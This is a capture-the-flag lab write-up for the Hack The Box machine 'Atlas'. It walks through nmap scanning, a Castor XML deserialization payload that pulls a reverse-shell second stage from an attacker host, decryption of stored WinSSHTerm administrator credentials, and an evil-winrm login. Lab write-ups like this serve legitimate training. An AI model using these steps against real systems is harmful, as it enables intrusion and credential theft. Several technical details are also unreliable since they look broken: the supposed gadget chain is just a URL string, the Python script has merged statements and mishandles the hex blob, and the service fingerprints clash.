We are tackling HTB Atlas, a "Hard" difficulty machine from Hack The Box that serves as a masterclass in two distinct, high-value skill sets: Java Deserialization and .NET Cryptanalysis.

This is a dissection of a complex attack chain. We'll start by exploiting a niche XML vulnerability in a Spring Boot application to gain our initial foothold. From there, we pivot to Windows post-exploitation, where we'll reverse-engineer a .NET application (WinSSHTerm) to break its encryption and steal administrative credentials.

Buckle up. We're going deep into the code.

Note:

This post is not a step-by-step walkthrough, exploit guide, or solution. It is intentionally written as a learning-first methodology breakdown.

The value of this approach is simple: walkthroughs teach what to type; methodologies teach how to think. By focusing on enumeration strategy, decision-making patterns, and architectural reasoning, this post is designed to help you transfer the same mindset to real assessments, labs, certifications, and production environments not just this specific challenge.

Use this content to:

  • Sharpen your mental model, not your copy-paste skills
  • Understand why certain paths exist rather than memorizing how to reach them
  • Build repeatable intuition that applies beyond CTFs

If your goal is long-term growth as a security practitioner, this style will compound. If your goal is only to solve the box, this post is deliberately not optimized for that.

Phase 1: Reconnaissance

Every operation begins with visibility. We fire up Nmap to map the external attack surface. We're looking for open ports, running services, and the subtle fingerprints of the operating system.

Command Snippet:

nmap -sC -sV -oA atlas_scan 10.10.10.x

The Output: The scan lights up a few interesting avenues. We see the standard SSH (22), but the real star is a web server running on 8080.

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http    Microsoft IIS httpd 10.0
8080/tcp open  http    Jetty 9.4.z-SNAPSHOT
| http-title: Atlas
|_Requested resource was /atlas

The service on 8080 is running a Java-based web application. Browsing to it reveals a ticketing system. We register an account, log in, and start hunting for input fields.

Phase 2: Java Deserialization

While clicking through the application, we notice it handles data in a peculiar way. When we update our profile or submit a ticket, the application doesn't just send JSON; it sends XML.

A closer look at the HTTP headers and the error messages reveals the backend is using the Castor data-binding framework for XML. This is our smoking gun. Castor, like many older Java libraries, suffers from Insecure Deserialization. If we can feed it a malicious object, it will instantiate it on the server, executing our code in the process.

Expert Insight:

"Java Deserialization vulnerabilities often arise because libraries like Castor or Jackson trust the incoming data stream too implicitly. They instantiate classes before validating them. By the time the application realizes the data is malicious, the payload (often a 'gadget chain') has already executed. In modern DevSecOps, you prevent this by using 'look-ahead' deserialization or strictly allow-listing safe classes."

We craft a payload using a known gadget chain for Castor. We aren't just sending data; we are sending a blueprint for a remote shell.

The Malicious Payload (Snippet):

<castor:marshalling xmlns:castor="http://castor.exolab.org/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <java.util.HashSet>
    <string>http://10.10.14.x:8000/shell.xml</string>
  </java.util.HashSet>
</castor:marshalling>

Note: This payload triggers a remote fetch that pulls down our second-stage payload , a full reverse shell.

We catch the callback on our listener.

Phase 3: Privilege Escalation

We land on the box as a low-privileged service account. Standard enumeration scripts (WinPEAS, Seatbelt) are run, but we need to look closer at the installed software.

We find a directory for WinSSHTerm, a portable SSH client for Windows. Tools like this are gold mines because they often store credentials — hostnames, usernames, and yes, passwords — in configuration files.

We locate the config file: C:\Users\Atlas\AppData\Roaming\WinSSHTerm\config\winsshterm.json

Inside, we find a treasure trove of connection details, but the passwords are encrypted strings.

Command Snippet:

"Connections": [
  {
    "Name": "AdminConnection",
    "Host": "127.0.0.1",
    "User": "Administrator",
    "Password": "8F3...[Encrypted_Blob]...2A"
  }
]

Phase 4: .NET Cryptanalysis

We can't just guess this password. We need to understand how WinSSHTerm encrypts it. We exfiltrate the WinSSHTerm.exe binary to our local machine and open it with dnSpy, a powerful .NET debugger and assembly editor.

We search the decompiled code for strings like "Encrypt", "Decrypt", or "AES". We strike gold in a class named CryptoUtils.

The Discovery: The code reveals the encryption logic:

  1. Algorithm: AES-256-CBC.
  2. Key Derivation: PBKDF2 (Password-Based Key Derivation Function 2) using SHA1.
  3. The Flaw: The Master Password used to derive the key is hardcoded or predictable based on the machine's specific environment variables (often a mix of the hostname or user SID).

Expert Insight:

Hardcoding keys or deriving them from static environmental data is a classic cryptographic failure. It provides a false sense of security. If an attacker can replicate the environment or reverse engineer the derivation logic (as we are doing here), the encryption is effectively nullified. Always use a strong, user-supplied master password or a hardware security module (HSM) for key management.

We write a Python script to replicate the decryption routine found in the C# code. We feed it the encrypted blob from the JSON file and the recovered master key parameters.

Sample Decryption Script

import base64
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
# The encrypted string from winsshterm.json
enc_blob = "8F3...[Truncated]..."
salt = "WinSSHTermSalt" # Found in dnSpy
master_key = "HardcodedKeyFoundInSource" # Replicate the Key Derivation
key = PBKDF2(master_key, salt, dkLen=32, count=1000)
iv = enc_blob[:16] # IV is typically the first block
ciphertext = enc_blob[16:]cipher = AES.new(key, AES.MODE_CBC, iv)
password = cipher.decrypt(ciphertext)print(f"Recovered Password: {password.decode('utf-8')}")

The Result: The script spits out the cleartext password for the Administrator.

Conclusion

With the Administrator password in hand, we trigger a final evil-winrm connection or psexec to the box.

Command Snippet:

evil-winrm -i 10.10.10.x -u Administrator -p 'RecoveredP@ssw0rd!'

We grab the root.txt flag. Game over.

Final Thoughts: Atlas teaches us that relying on obscure libraries (Castor) and "compiled" security (.NET binaries) is a losing strategy. The Java exploit got us through the door, but it was the failure to properly secure credentials in the .NET application that handed us the keys to the kingdom. Keep your dependencies updated and your encryption keys independent of your code.